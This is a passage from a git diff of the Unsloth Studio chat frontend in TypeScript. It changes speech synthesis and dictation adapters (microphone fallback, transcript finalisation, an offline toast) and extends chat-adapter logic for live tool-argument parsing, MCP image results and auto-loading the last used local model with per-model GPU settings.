+      ttsEngine === "studio" ||
+      !StudioSpeechSynthesisAdapter.systemVoicesSupported()
+    ) {
+      const session = speakWithStudioModel(text, handleEnd, () => {
+        if (res.status.type === "ended") return;
+        // Notify subscribers of the async starting -> running transition;
+        // the adapter contract drives UI state off these subscribe callbacks.
+        res.status = { type: "running" };
+        for (const handler of subscribers) handler();
+      });
+      cancelImpl = session.cancel;
+      return res;
+    }
+
+    const utterance = createConfiguredUtterance(text);
+    utterance.addEventListener("end", () => handleEnd("finished"));
+    utterance.addEventListener("error", (e) => handleEnd("error", e.error));
+
+    // Chrome silently drops speak() while another utterance is queued from a
+    // cancelled run; clearing first keeps read-aloud deterministic.
+    window.speechSynthesis.cancel();
+    window.speechSynthesis.speak(utterance);
+    res.status = { type: "running" };
+
+    cancelImpl = () => {
+      window.speechSynthesis.cancel();
+      handleEnd("cancelled");
+    };
+    return res;
+  }
+}
diff --git a/studio/frontend/src/features/chat/adapters/studio-web-speech-dictation-adapter.ts b/studio/frontend/src/features/chat/adapters/studio-web-speech-dictation-adapter.ts
index 146a12bd40..fb0e4fc0ab 100644
--- a/studio/frontend/src/features/chat/adapters/studio-web-speech-dictation-adapter.ts
+++ b/studio/frontend/src/features/chat/adapters/studio-web-speech-dictation-adapter.ts
@@ -1,35 +1,93 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
+import { useSettingsDialogStore } from "@/features/settings/stores/settings-dialog-store";
+import {
+  applyDictationDictionary,
+  recordRecentDictation,
+  resolveDictationLanguage,
+  useVoiceSettingsStore,
+} from "@/features/settings/stores/voice-settings-store";
 import type { DictationAdapter } from "@assistant-ui/react";
 import { toast } from "sonner";
+import { useChatRuntimeStore } from "../stores/chat-runtime-store";
+import { startDictationLevelMeter } from "./dictation-level";
 
-const getSpeechRecognitionAPI = (): SpeechRecognitionConstructor | undefined => {
+/** Chat open while dictating, so the saved dictation can link back to it. */
+export function activeDictationChatId(): string | undefined {
+  return useChatRuntimeStore.getState().activeThreadId ?? undefined;
+}
+
+/**
+ * Resolve the chat a saved dictation links to. undefined falls back to the
+ * active single chat; null (composers without one, e.g. Compare) means none.
+ */
+export function resolveDictationChatId(
+  chatId: string | null | undefined,
+): string | undefined {
+  if (chatId === undefined) return activeDictationChatId();
+  return chatId ?? undefined;
+}
+
+// Reused id so repeated network failures replace, not stack, the same toast.
+const NETWORK_TOAST_ID = "dictation-network-offline";
+
+// Short grace for the browser to finalize its latest interim hypothesis. If it
+// doesn't, promote that text instead of stalling on a finalization spinner.
+const STOP_FINALIZATION_GRACE_MS = 350;
+
+/**
+ * A dictation session with an extra onEnd hook (not part of the assistant-ui
+ * interface) so non-runtime callers can reset when the session ends by itself.
+ */
+export type StudioDictationSession = DictationAdapter.Session & {
+  onEnd?: (callback: () => void) => () => void;
+};
+
+const getSpeechRecognitionAPI = ():
+  | SpeechRecognitionConstructor
+  | undefined => {
   if (typeof window === "undefined") return undefined;
   return window.SpeechRecognition ?? window.webkitSpeechRecognition;
 };
 
 const stopStream = (stream: MediaStream | null) => {
-  stream?.getTracks().forEach((track) => track.stop());
+  for (const track of stream?.getTracks() ?? []) {
+    track.stop();
+  }
 };
 
-const describeMediaError = (error: unknown): string => {
-  if (!(error instanceof DOMException)) {
-    return "Dictation could not access the microphone.";
-  }
-  if (error.name === "NotAllowedError") {
+const mediaErrorName = (error: unknown): unknown =>
+  error && typeof error === "object" && "name" in error
+    ? (error as { name?: unknown }).name
+    : undefined;
+
+/** True for getUserMedia errors meaning the requested device is gone. */
+export const isMissingDeviceError = (error: unknown): boolean => {
+  const name = mediaErrorName(error);
+  return name === "OverconstrainedError" || name === "NotFoundError";
+};
+
+export const describeMediaError = (error: unknown): string => {
+  const name = mediaErrorName(error);
+  if (name === "NotAllowedError" || name === "SecurityError") {
     return "Microphone access is blocked. Allow microphone access for this Unsloth page, then try again.";
   }
-  if (error.name === "NotFoundError") {
+  if (name === "NotFoundError" || name === "OverconstrainedError") {
     return "No microphone was found for dictation.";
   }
-  if (error.name === "NotReadableError") {
+  if (name === "NotReadableError" || name === "AbortError") {
     return "The microphone is already in use or unavailable.";
   }
-  return error.message || "Dictation could not access the microphone.";
+  return error instanceof Error && error.message
+    ? error.message
+    : "Dictation could not access the microphone.";
 };
 
-const describeSpeechError = (error: string, message?: string): string => {
+export const describeSpeechError = (
+  error: string,
+  message?: string,
+): string => {
   if (error === "not-allowed") {
     return "Speech recognition was blocked by the browser. Check microphone permissions for this Unsloth page.";
   }
@@ -46,20 +104,24 @@ const describeSpeechError = (error: string, message?: string): string => {
 };
 
 export class StudioWebSpeechDictationAdapter implements DictationAdapter {
-  private readonly language: string;
+  private readonly language: string | undefined;
   private readonly continuous: boolean;
   private readonly interimResults: boolean;
+  private readonly chatId: string | null | undefined;
 
   constructor(
     options: {
       language?: string;
       continuous?: boolean;
       interimResults?: boolean;
+      chatId?: string | null;
     } = {},
   ) {
-    this.language = options.language ?? navigator.language ?? "en-US";
+    // Resolved from Voice settings at listen() time unless overridden.
+    this.language = options.language;
     this.continuous = options.continuous ?? true;
     this.interimResults = options.interimResults ?? true;
+    this.chatId = options.chatId;
   }
 
   static isSupported(): boolean {
@@ -78,29 +140,52 @@ export class StudioWebSpeechDictationAdapter implements DictationAdapter {
     }
 
     const recognition = new SpeechRecognitionAPI();
-    recognition.lang = this.language;
+    recognition.lang = this.language ?? resolveDictationLanguage();
     recognition.continuous = this.continuous;
     recognition.interimResults = this.interimResults;
+    // Pin the linked chat now so a thread switch during finalization cannot
+    // relink the transcript to the newly opened chat.
+    const sessionChatId = resolveDictationChatId(this.chatId);
 
     const speechStartCallbacks = new Set<() => void>();
-    const speechEndCallbacks = new Set<(result: DictationAdapter.Result) => void>();
-    const speechCallbacks = new Set<(result: DictationAdapter.Result) => void>();
+    const speechEndCallbacks = new Set<
+      (result: DictationAdapter.Result) => void
+    >();
+    const speechCallbacks = new Set<
+      (result: DictationAdapter.Result) => void
+    >();
+    const endCallbacks = new Set<() => void>();
 
     let stream: MediaStream | null = null;
     let finalTranscript = "";
     let ended = false;
     let started = false;
+    let stopping = false;
+    let stopRequestedAt = 0;
+    let stopFallbackTimer = 0;
+    let stopLevelMeter = () => {
+      // Replaced after microphone access succeeds.
+    };
+    const interimParts = new Map<number, string>();
     let resolveEnded: (() => void) | null = null;
     const endedPromise = new Promise<void>((resolve) => {
       resolveEnded = resolve;
     });
 
-    const session: DictationAdapter.Session = {
+    const session: StudioDictationSession = {
       status: { type: "starting" },
 
       stop: async () => {
         if (!ended && started) {
+          stopping = true;
+          stopRequestedAt = performance.now();
           recognition.stop();
+          // Ending the track now gives the browser an audio endpoint to finalize
+          // and releases the mic without waiting on its remote speech service.
+          stopLevelMeter();
+          stopStream(stream);
+          stream = null;
+          scheduleStopFallback();
         } else if (!ended) {
           finish("stopped");
         }
@@ -108,11 +193,9 @@ export class StudioWebSpeechDictationAdapter implements DictationAdapter {
       },
 
       cancel: () => {
-        if (!ended && started) {
-          recognition.abort();
-        } else if (!ended) {
-          finish("cancelled");
-        }
+        if (ended) return;
+        if (started) recognition.abort();
+        finish("cancelled");
       },
 
       onSpeechStart: (callback) => {
@@ -135,20 +218,75 @@ export class StudioWebSpeechDictationAdapter implements DictationAdapter {
           speechCallbacks.delete(callback);
         };
       },
+
+      // Beyond DictationAdapter: lets callers reset UI when the session ends on
+      // its own (silence, error), not just via stop().
+      onEnd: (callback: () => void) => {
+        endCallbacks.add(callback);
+        return () => {
+          endCallbacks.delete(callback);
+        };
+      },
     };
 
+    const currentInterimTranscript = () =>
+      [...interimParts.entries()]
+        .sort(([a], [b]) => a - b)
+        .map(([, transcript]) => transcript.trim())
+        .filter(Boolean)
+        .join(" ");
+
+    const promoteInterim = () => {
+      const interim = currentInterimTranscript();
+      interimParts.clear();
+      if (!interim) return false;
+      const corrected = applyDictationDictionary(interim).trim();
+      if (!corrected) return false;
+      finalTranscript = finalTranscript
+        ? `${finalTranscript} ${corrected}`
+        : corrected;
+      return true;
+    };
+
+    function scheduleStopFallback(): void {
+      if (!stopping || ended || stopFallbackTimer) return;
+      const elapsed = performance.now() - stopRequestedAt;
+      const delay = Math.max(0, STOP_FINALIZATION_GRACE_MS - elapsed);
+      stopFallbackTimer = window.setTimeout(() => {
+        stopFallbackTimer = 0;
+        if (!ended) {
+          promoteInterim();
+          finish("stopped");
+          recognition.abort();
+        }
+      }, delay);
+    }
+
     const finish = (reason: "stopped" | "cancelled" | "error") => {
       if (ended) return;
       ended = true;
+      stopping = false;
+      if (stopFallbackTimer) window.clearTimeout(stopFallbackTimer);
+      stopFallbackTimer = 0;
       session.status = { type: "ended", reason };
+      stopLevelMeter();
       stopStream(stream);
       stream = null;
-      if (finalTranscript) {
-        for (const callback of speechEndCallbacks) {
-          callback({ transcript: finalTranscript });
+      const transcript = reason === "cancelled" ? "" : finalTranscript;
+      if (transcript) {
+        for (const callback of speechCallbacks) {
+          callback({ transcript, isFinal: true });
         }
-        finalTranscript = "";
+        recordRecentDictation(transcript, sessionChatId);
       }
+      // assistant-ui uses this callback to leave dictation mode; required even
+      // for silence and cancelled recordings.
+      for (const callback of speechEndCallbacks) {
+        callback({ transcript });
+      }
+      finalTranscript = "";
+      interimParts.clear();
+      for (const callback of endCallbacks) callback();
       resolveEnded?.();
     };
 
@@ -161,45 +299,107 @@ export class StudioWebSpeechDictationAdapter implements DictationAdapter {
     });
 
     recognition.addEventListener("result", (event) => {
+      if (ended) return;
       const speechEvent = event as SpeechRecognitionEvent;
-      for (let i = speechEvent.resultIndex; i < speechEvent.results.length; i++) {
+      for (
+        let i = speechEvent.resultIndex;
+        i < speechEvent.results.length;
+        i++
+      ) {
         const result = speechEvent.results[i];
         if (!result) continue;
         const transcript = result[0]?.transcript ?? "";
         if (result.isFinal) {
-          finalTranscript += transcript;
-          for (const callback of speechCallbacks) {
-            callback({ transcript, isFinal: true });
+          interimParts.delete(i);
+          const corrected = applyDictationDictionary(transcript);
+          // Join final chunks with a single space so recorded transcripts do
+          // not merge words when a browser omits leading whitespace.
+          const trimmed = corrected.trim();
+          if (trimmed) {
+            finalTranscript = finalTranscript
+              ? `${finalTranscript} ${trimmed}`
+              : trimmed;
           }
         } else {
-          for (const callback of speechCallbacks) {
-            callback({ transcript, isFinal: false });
-          }
+          interimParts.set(i, transcript);
         }
       }
+      const interim = currentInterimTranscript();
+      if (interim) {
+        scheduleStopFallback();
+      }
     });
 
     recognition.addEventListener("end", () => {
+      if (ended) {
+        return;
+      }
+      promoteInterim();
       finish("stopped");
     });
 
     recognition.addEventListener("error", (event) => {
+      if (ended) return;
       const errorEvent = event as SpeechRecognitionErrorEvent;
       if (errorEvent.error === "aborted") {
-        finish("cancelled");
+        if (stopping) {
+          promoteInterim();
+          finish("stopped");
+        } else {
+          finish("cancelled");
+        }
         return;
       }
-      const description = describeSpeechError(errorEvent.error, errorEvent.message);
+      const description = describeSpeechError(
+        errorEvent.error,
+        errorEvent.message,
+      );
       console.error("Dictation error:", errorEvent.error, errorEvent.message);
-      toast.error(description);
+      if (errorEvent.error === "network") {
+        // Online speech service unreachable; point the user to the offline
+        // local engine (the toast opens Voice settings).
+        toast.error("No internet connection", {
+          id: NETWORK_TOAST_ID,
+          description:
+            "Browser dictation needs the online speech service. Switch to Local in Voice settings and pick a local STT model to dictate offline.",
+          action: {
+            label: "Open Voice settings",
+            onClick: () =>
+              useSettingsDialogStore.getState().openDialog("voice"),
+          },
+        });
+      } else {
+        toast.error(description);
+      }
       finish("error");
     });
 
     void (async () => {
       try {
-        stream = await navigator.mediaDevices.getUserMedia({
-          audio: { echoCancellation: true, noiseSuppression: true },
-        });
+        const { micDeviceId } = useVoiceSettingsStore.getState();
+        const baseAudio: MediaTrackConstraints = {
+          echoCancellation: true,
+          noiseSuppression: true,
+        };
+        try {
+          stream = await navigator.mediaDevices.getUserMedia({
+            audio:
+              micDeviceId && micDeviceId !== "default"
+                ? { ...baseAudio, deviceId: { exact: micDeviceId } }
+                : baseAudio,
+          });
+        } catch (error) {
+          // Saved mic may be unplugged; fall back to the default device.
+          // Firefox and WebKit throw OverconstrainedError objects that are
+          // not DOMException instances, so match on the error name.
+          if (micDeviceId !== "default" && isMissingDeviceError(error)) {
+            stream = await navigator.mediaDevices.getUserMedia({
+              audio: baseAudio,
+            });
+          } else {
+            throw error;
+          }
+        }
         if (ended) {
           stopStream(stream);
           stream = null;
@@ -207,13 +407,25 @@ export class StudioWebSpeechDictationAdapter implements DictationAdapter {
         }
         const audioTrack = stream.getAudioTracks()[0];
         if (!audioTrack || audioTrack.readyState !== "live") {
-          throw new DOMException("No live microphone track is available.", "NotFoundError");
+          throw new DOMException(
+            "No live microphone track is available.",
+            "NotFoundError",
+          );
         }
+        stopLevelMeter = startDictationLevelMeter(stream);
         try {
           recognition.start(audioTrack);
         } catch (error) {
-          // Older engines expose only start(); retry without the experimental track overload.
-          console.debug("Dictation start(audioTrack) failed; retrying start().", error);
+          // Older engines expose only start(); retry without the experimental
+          // track overload. Recognition then captures from the default device,
+          // so release the selected-device stream instead of holding it open.
+          console.debug(
+            "Dictation start(audioTrack) failed; retrying start().",
+            error,
+          );
+          stopLevelMeter();
+          stopStream(stream);
+          stream = null;
           recognition.start();
         }
         started = true;
diff --git a/studio/frontend/src/features/chat/api/chat-adapter.ts b/studio/frontend/src/features/chat/api/chat-adapter.ts
index 929c0385b0..d4861e8a3a 100644
--- a/studio/frontend/src/features/chat/api/chat-adapter.ts
+++ b/studio/frontend/src/features/chat/api/chat-adapter.ts
@@ -2,12 +2,14 @@
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
 import { getAuthToken } from "@/features/auth";
+import { resolveInitialConfig } from "@/features/model-picker";
 import { projectHasSources } from "@/features/rag/api/rag-api";
 import { apiUrl } from "@/lib/api-base";
 import { parseParamCountB } from "@/lib/model-size";
 import { toast } from "@/lib/toast";
 import type { MessageTiming, ToolCallMessagePart } from "@assistant-ui/core";
 import type { ChatModelAdapter } from "@assistant-ui/react";
+import { parsePartialJsonObject } from "assistant-stream/utils";
 import {
   getExternalProviderApiKey,
   isCustomProviderType,
@@ -40,13 +42,24 @@ import {
 import {
   type PendingImageEditReference,
   type RagAutoInject,
+  GPU_LAYERS_AUTO,
+  loadedGpuMemoryFields,
+  reconcilePersistedGpuIds,
   resolveLoadedSpeculativeSettings,
   resolveSpeculativeSettingsForLoad,
+  persistGpuMemoryModeOnLoad,
   resolveToolsEnabledOnLoad,
   saveSpeculativeType,
   useChatRuntimeStore,
 } from "../stores/chat-runtime-store";
+import { resolveFitMaxSeqLength, resolveManualAutoCtxPin } from "../presets/preset-policy";
+import { ensureGpuDeviceCache } from "@/hooks/use-gpu-info";
 import { useExternalProvidersStore } from "../stores/external-providers-store";
+import {
+  shouldPreserveFullOutput,
+  toolOutputKey,
+  toolPaneScope,
+} from "../tool-output-scope";
 import type { ModelType } from "../types";
 import { isMultimodalResponse } from "../types/api";
 import type {
@@ -63,11 +76,17 @@ import {
   listStoredChatThreads,
   updateStoredChatThread,
 } from "../utils/chat-history-storage";
+import {
+  readLastLocalModelLoad,
+  recordLastLocalModelLoad,
+  type LastLocalModelKind,
+} from "../utils/last-local-model-load";
 import { getImageInputUnavailableReason } from "../utils/image-input-support";
 import {
   hasClosedThinkTag,
   parseAssistantContent,
 } from "../utils/parse-assistant-content";
+import { resolveLoadMaxSeqLength } from "../presets/preset-policy";
 import {
   generateAudio,
   listCachedGguf,
@@ -75,6 +94,7 @@ import {
   listGgufVariants,
   loadModel,
   streamChatCompletions,
+  StreamInterruptedError,
   validateModel,
 } from "./chat-api";
 import {
@@ -140,6 +160,33 @@ interface ServerTimings {
   diffusion_steps_per_second?: number;
 }
 
+interface ResponseDetailsMetadata {
+  modelId: string;
+  modelLabel: string;
+  responseModelId: string;
+  providerId?: string;
+  providerName: string;
+  providerType: string;
+  startedAt: number;
+  finishedAt: number;
+  durationMs: number;
+  sessionId?: string;
+  cancelId: string;
+  toolCalls: string[];
+  tools: {
+    search: boolean;
+    fetch: boolean;
+    code: boolean;
+    images: boolean;
+    mcp: boolean;
+    docs: boolean;
+    artifacts: boolean;
+    confirmToolCalls: boolean;
+    bypassPermissions: boolean;
+    permissionMode?: string;
+  };
+}
+
 type RunMessages = Parameters<ChatModelAdapter["run"]>[0]["messages"];
 type RunMessage = RunMessages[number];
 
@@ -191,6 +238,49 @@ function wait(ms: number): Promise<void> {
   return new Promise((resolve) => setTimeout(resolve, ms));
 }
 
+/**
+ * Best-effort partial parse of a live tool_args stream into a tool part's
+ * `args`, so cards render the payload while the model is still writing it. The
+ * structured path streams raw arguments JSON; the text path wraps it in call
+ * markup, unwrapped here. Returns null until something parses; never throws.
+ */
+function parseLiveToolArgs(
+  raw: string,
+): { args: Record<string, unknown>; argsText: string } | null {
+  let candidate = raw.trimStart();
+  if (!candidate.startsWith("{")) {
+    const brace = candidate.indexOf("{");
+    if (brace < 0) return null;
+    candidate = candidate.slice(brace);
+  }
+  const parsed = parsePartialJsonObject(candidate) as
+    | Record<string, unknown>
+    | undefined;
+  if (!parsed || typeof parsed !== "object") return null;
+  // Call envelope from the text path: unwrap to the arguments payload.
+  const inner = parsed.arguments ?? parsed.parameters;
+  if (typeof parsed.name === "string" && inner !== undefined) {
+    if (typeof inner === "string") {
+      // Stringified arguments: partial-parse the inner JSON string.
+      const innerParsed = parsePartialJsonObject(inner) as
+        | Record<string, unknown>
+        | undefined;
+      if (innerParsed && typeof innerParsed === "object") {
+        return { args: innerParsed, argsText: inner };
+      }
+      return null;
+    }
+    if (inner && typeof inner === "object" && !Array.isArray(inner)) {
+      return {
+        args: inner as Record<string, unknown>,
+        argsText: JSON.stringify(inner),
+      };
+    }
+    return null;
+  }
+  return { args: parsed, argsText: candidate };
+}
+
 function parseSystemVariablesMap(raw: string): Record<string, unknown> {
   if (!raw.trim()) {
     return {};
@@ -865,6 +955,33 @@ function serializeAssistantToolCallPart(
   return entry;
 }
 
+export interface McpImageToolResult {
+  text: string;
+  images: { data: string; mimeType: string }[];
+}
+
+export function isMcpImageToolResult(
+  val: unknown,
+): val is McpImageToolResult {
+  if (typeof val !== "object" || val === null) {
+    return false;
+  }
+  const v = val as { text?: unknown; images?: unknown; sessionId?: unknown };
+  return (
+    typeof v.text === "string" &&
+    v.sessionId === undefined &&
+    Array.isArray(v.images) &&
+    v.images.length > 0 &&
+    v.images.every(
+      (img: unknown) =>
+        typeof img === "object" &&
+        img !== null &&
+        typeof (img as { data?: unknown }).data === "string" &&
+        typeof (img as { mimeType?: unknown }).mimeType === "string",
+    )
+  );
+}
+
 function serializeToolResultPart(
   part: ToolCallMessagePart,
 ): SerializedToolResult | null {
@@ -884,6 +1001,8 @@ function serializeToolResultPart(
     // content; serialise a sentinel JSON so legitimately empty tool
     // outputs still round-trip the follow-up turn to the provider.
     content = result.length > 0 ? result : JSON.stringify({ result: "" });
+  } else if (isMcpImageToolResult(result)) {
+    content = result.text.length > 0 ? result.text : JSON.stringify({ result: "" });
   } else {
     try {
       content = JSON.stringify(result);
@@ -1283,6 +1402,31 @@ const BIG_ENDIAN_GGUF_FILENAME_RE = /(^|[-_])be(?:[._-]|$)/gi;
 const GGUF_KNOWN_QUANT_RE =
   /(UD-)?(MXFP[0-9]+(?:_[A-Z0-9]+)*|IQ[0-9]+_[A-Z]+(?:_[A-Z0-9]+)?|TQ[0-9]+_[0-9]+|Q[0-9]+_K_[A-Z]+|Q[0-9]+_[0-9]+|Q[0-9]+_K|BF16|F16|F32)/i;
 
+type AutoLoadCandidate = {
+  id: string;
+  loadId?: string | null;
+  kind: LastLocalModelKind;
+  ggufVariant: string | null;
+  maxSeqLength: number;
+  successLabel: string;
+};
+
+function autoLoadCandidateKey(
+  kind: LastLocalModelKind,
+  id: string,
+  ggufVariant?: string | null,
+): string {
+  return `${kind}:${id.toLowerCase()}:${(ggufVariant ?? "").toLowerCase()}`;
+}
+
+function findCachedRepo<T extends { repo_id: string }>(
+  repos: T[],
+  id: string,
+): T | undefined {
+  const normalized = id.toLowerCase();
+  return repos.find((repo) => repo.repo_id.toLowerCase() === normalized);
+}
+
 function hasBigEndianGgufMarker(filename: string, quant?: string | null): boolean {
   const normalized = filename.replace(/\\/g, "/").toLowerCase();
   const separatorIndex = normalized.lastIndexOf("/");
@@ -1331,20 +1475,31 @@ async function autoLoadSmallestModel(): Promise<{
   const hfToken = store.hfToken || null;
   const trustRemoteCode = store.params.trustRemoteCode ?? false;
   const specSettings = resolveSpeculativeSettingsForLoad();
+  const lastLoaded = readLastLocalModelLoad();
   const toastId = toast("Loading a model…", {
-    description: "Auto-selecting the smallest downloaded model.",
+    description: lastLoaded
+      ? "Loading last used model."
+      : "Auto-selecting the smallest downloaded model.",
     duration: 5000,
     closeButton: true,
   });
   let blockedByTrustRemoteCode = false;
   let hadNonTrustFailure = false;
   let loadAttempts = 0;
+  const skippedAutoLoadCandidates = new Set<string>();
 
   async function canAutoLoad(payload: {
     model_path: string;
     max_seq_length: number;
     is_lora: boolean;
     gguf_variant?: string | null;
+    // GGUF-only: scopes the training guard to the same placement policy /load
+    // will use. Manual mode must match because it makes placement user-owned.
+    // The layer/MoE/split/KV/spec knobs are deliberately not sent: Auto mode's
+    // guard sizes conservatively, while Manual mode bypasses that estimate.
+    // The safetensors fallback omits both fields and uses HF auto-placement.
+    gpu_ids?: number[];
+    gpu_memory_mode?: "auto" | "manual";
   }): Promise<boolean> {
     const validation = await validateModel({
       ...payload,
@@ -1361,6 +1516,229 @@ async function autoLoadSmallestModel(): Promise<{
       blockedByTrustRemoteCode = true;
       return false;
     }
+    // Never install packages from a background load; explicit loads raise the upgrade dialog.
+    if (validation.requires_transformers_upgrade) {
+      hadNonTrustFailure = true;
+      return false;
+    }
+    return true;
+  }
+
+  async function loadAutoLoadCandidate(
+    candidate: AutoLoadCandidate,
+  ): Promise<boolean> {
+    if (loadAttempts >= MAX_AUTO_LOAD_ATTEMPTS) {
+      return false;
+    }
+    const currentStore = useChatRuntimeStore.getState();
+    const modelPath = candidate.loadId ?? candidate.id;
+    const { config } = resolveInitialConfig(candidate.id, candidate.ggufVariant);
+    const effectiveMaxSeqLength = resolveLoadMaxSeqLength({
+      modelId: candidate.id,
+      ggufVariant: candidate.ggufVariant,
+      isGguf: candidate.kind === "gguf",
+      customContextLength: config.customContextLength,
+      ggufContextLength: null,
+      currentCheckpoint: currentStore.params.checkpoint,
+      activeGgufVariant: currentStore.activeGgufVariant,
+      maxSeqLength: config.maxSeqLength ?? candidate.maxSeqLength,
+      presetSource: currentStore.activePresetSource,
+    });
+    // The GPU knobs are per-model, so read them from the same per-model config
+    // that fed effectiveMaxSeqLength -- on a background auto-load the live store
+    // holds session defaults, not the saved Manual mode / layer pin / GPU pick.
+    // Absent fields fall back like the interactive restore: the mode to the store
+    // (a persisted standing preference), the per-model knobs to their defaults.
+    // The saved GPU pick is reconciled against the GPUs present now.
+    const effectiveGpuMemoryMode =
+      config.gpuMemoryMode ?? currentStore.gpuMemoryMode;
+    const effectiveGpuLayers = config.gpuLayers ?? GPU_LAYERS_AUTO;
+    const effectiveNCpuMoe = config.nCpuMoe ?? 0;
+    if (config.selectedGpuIds != null) {
+      // Warm the device cache first: on a cold cache the reconcile passes the
+      // saved pick through unvalidated, and a stale cross-host pick then fails
+      // the load with the picker hidden.
+      await ensureGpuDeviceCache();
+    }
+    const effectiveGpuIds =
+      config.selectedGpuIds !== undefined
+        ? reconcilePersistedGpuIds(config.selectedGpuIds)
+        : null;
+    // Under Manual GPU memory + Auto layers, llama.cpp's --fit owns context
+    // sizing, so send 0 (or the pinned length). GGUF-only; a no-op otherwise.
+    // The context pin is per-model too, so it comes from the saved config, not
+    // the live store.
+    const fitMaxSeqLength = resolveFitMaxSeqLength(
+      candidate.kind === "gguf",
+      effectiveGpuMemoryMode,
+      effectiveGpuLayers,
+      config.customContextLength ?? null,
+      effectiveMaxSeqLength,
+    );
+    const effectiveSpeculativeType =
+      config.speculativeType ?? specSettings.speculativeType;
+    const effectiveSpecDraftNMax =
+      config.specDraftNMax ?? specSettings.specDraftNMax;
+    const effectiveChatTemplateOverride = config.chatTemplateOverride?.trim()
+      ? config.chatTemplateOverride
+      : null;
+    if (
+      !(await canAutoLoad({
+        model_path: modelPath,
+        max_seq_length: fitMaxSeqLength,
+        is_lora: false,
+        gguf_variant: candidate.ggufVariant,
+        // The same remembered-derived GPU pick the load below sends.
+        ...(candidate.kind === "gguf"
+          ? {
+              gpu_ids: effectiveGpuIds ?? undefined,
+              gpu_memory_mode: effectiveGpuMemoryMode,
+            }
+          : {}),
+      }))
+    ) {
+      skippedAutoLoadCandidates.add(
+        autoLoadCandidateKey(candidate.kind, candidate.id, candidate.ggufVariant),
+      );
+      return false;
+    }
+    loadAttempts += 1;
+    const loadResp = await loadModel({
+      model_path: modelPath,
+      hf_token: hfToken,
+      max_seq_length: fitMaxSeqLength,
+      load_in_4bit: true,
+      is_lora: false,
+      gguf_variant: candidate.ggufVariant,
+      trust_remote_code: trustRemoteCode,
+      chat_template_override: effectiveChatTemplateOverride,
+      cache_type_kv: config.kvCacheDtype,
+      speculative_type: effectiveSpeculativeType,
+      spec_draft_n_max: effectiveSpecDraftNMax,
+      tensor_parallel: config.tensorParallel,
+      // GGUF-only: the safetensors fallback loads via HF auto-placement (no
+      // explicit pins). The split ratio is deliberately never remembered
+      // (positionally bound to an exact GPU set), so auto-load leaves llama.cpp's
+      // free-VRAM default in charge rather than sending a stale store value.
+      ...(candidate.kind === "gguf"
+        ? {
+            gpu_memory_mode: effectiveGpuMemoryMode,
+            gpu_layers: effectiveGpuLayers,
+            n_cpu_moe: effectiveNCpuMoe,
+            gpu_ids: effectiveGpuIds ?? undefined,
+          }
+        : {}),
+    });
+    // Only persist the global preference when the value came from the global
+    // settings. A per-model config's choice must stay load-local, or autoloading
+    // a remembered model on startup would rewrite the global default.
+    if (config.speculativeType == null) {
+      saveSpeculativeType(effectiveSpeculativeType);
+    }
+    // Self-gates on is_gguf (skips diffusion), so persists only for a real GGUF load.
+    persistGpuMemoryModeOnLoad(loadResp, effectiveGpuMemoryMode);
+    const loadedModelId = loadResp.model || modelPath;
+    useChatRuntimeStore
+      .getState()
+      .setCheckpoint(loadedModelId, candidate.ggufVariant ?? undefined);
+    const store = useChatRuntimeStore.getState();
+    store.setModelRequiresTrustRemoteCode(
+      loadResp.requires_trust_remote_code ?? false,
+    );
+    store.setParams({
+      ...store.params,
+      ...(candidate.kind === "gguf"
+        ? {}
+        : { maxSeqLength: effectiveMaxSeqLength }),
+      maxTokens:
+        candidate.kind === "gguf"
+          ? loadResp.context_length ?? 131072
+          : effectiveMaxSeqLength,
+    });
+    const autoModel: ChatModelSummary = {
+      id: loadedModelId,
+      name: loadResp.display_name ?? candidate.id,
+      isVision: loadResp.is_vision ?? false,
+      isLora: loadResp.is_lora ?? false,
+      isGguf: loadResp.is_gguf ?? candidate.kind === "gguf",
+      isAudio: loadResp.is_audio ?? false,
+      audioType: loadResp.audio_type ?? null,
+      hasAudioInput: loadResp.has_audio_input ?? false,
+    };
+    if (!store.models.some((m) => m.id === loadedModelId)) {
+      store.setModels([...store.models, autoModel]);
+    }
+    if (candidate.kind === "gguf") {
+      // Keep an explicit Manual+Auto context pin the load just applied (so a
+      // later Apply doesn't silently revert it to auto-fit sizing), mirroring
+      // the interactive path's keepCustomCtx; other cases baseline on
+      // ggufContextLength.
+      const keepCustomCtx = resolveManualAutoCtxPin(
+        effectiveGpuMemoryMode,
+        effectiveGpuLayers,
+        config.customContextLength ?? null,
+      );
+      useChatRuntimeStore.setState({
+        ggufContextLength: loadResp.context_length ?? 131072,
+        ggufMaxContextLength:
+          loadResp.max_context_length ?? loadResp.context_length ?? 131072,
+        ggufNativeContextLength: loadResp.native_context_length ?? null,
+        supportsReasoning: loadResp.supports_reasoning ?? false,
+        reasoningAlwaysOn: loadResp.reasoning_always_on ?? false,
+        reasoningEnabled: loadResp.supports_reasoning ?? false,
+        ...reasoningCapsFromLoad(loadResp),
+        supportsPreserveThinking: loadResp.supports_preserve_thinking ?? false,
+        supportsTools: loadResp.supports_tools ?? false,
+        ...resolveToolsEnabledOnLoad(loadResp.supports_tools ?? false),
+        kvCacheDtype: loadResp.cache_type_kv ?? null,
+        loadedKvCacheDtype: loadResp.cache_type_kv ?? null,
+        tensorParallel: loadResp.tensor_parallel ?? false,
+        loadedTensorParallel: loadResp.tensor_parallel ?? false,
+        ...loadedGpuMemoryFields(loadResp),
+        loadedCustomContextLength: keepCustomCtx,
+        defaultChatTemplate: loadResp.chat_template ?? null,
+        chatTemplateOverride: effectiveChatTemplateOverride,
+        loadedChatTemplateOverride: effectiveChatTemplateOverride,
+        // Retain the saved requested context so re-saving the config keeps the
+        // override; null stays null (auto/VRAM-fit).
+        customContextLength: config.customContextLength,
+        loadedIsMultimodal: isMultimodalResponse(loadResp),
+        loadedIsDiffusion: loadResp.is_diffusion ?? false,
+        ...resolveLoadedSpeculativeSettings(loadResp),
+      });
+    } else {
+      useChatRuntimeStore.setState({
+        supportsReasoning: loadResp.supports_reasoning ?? false,
+        reasoningAlwaysOn: loadResp.reasoning_always_on ?? false,
+        reasoningEnabled: loadResp.supports_reasoning ?? false,
+        ...reasoningCapsFromLoad(loadResp),
+        supportsPreserveThinking: loadResp.supports_preserve_thinking ?? false,
+        supportsTools: loadResp.supports_tools ?? false,
+        ...resolveToolsEnabledOnLoad(loadResp.supports_tools ?? false),
+        kvCacheDtype: loadResp.cache_type_kv ?? null,
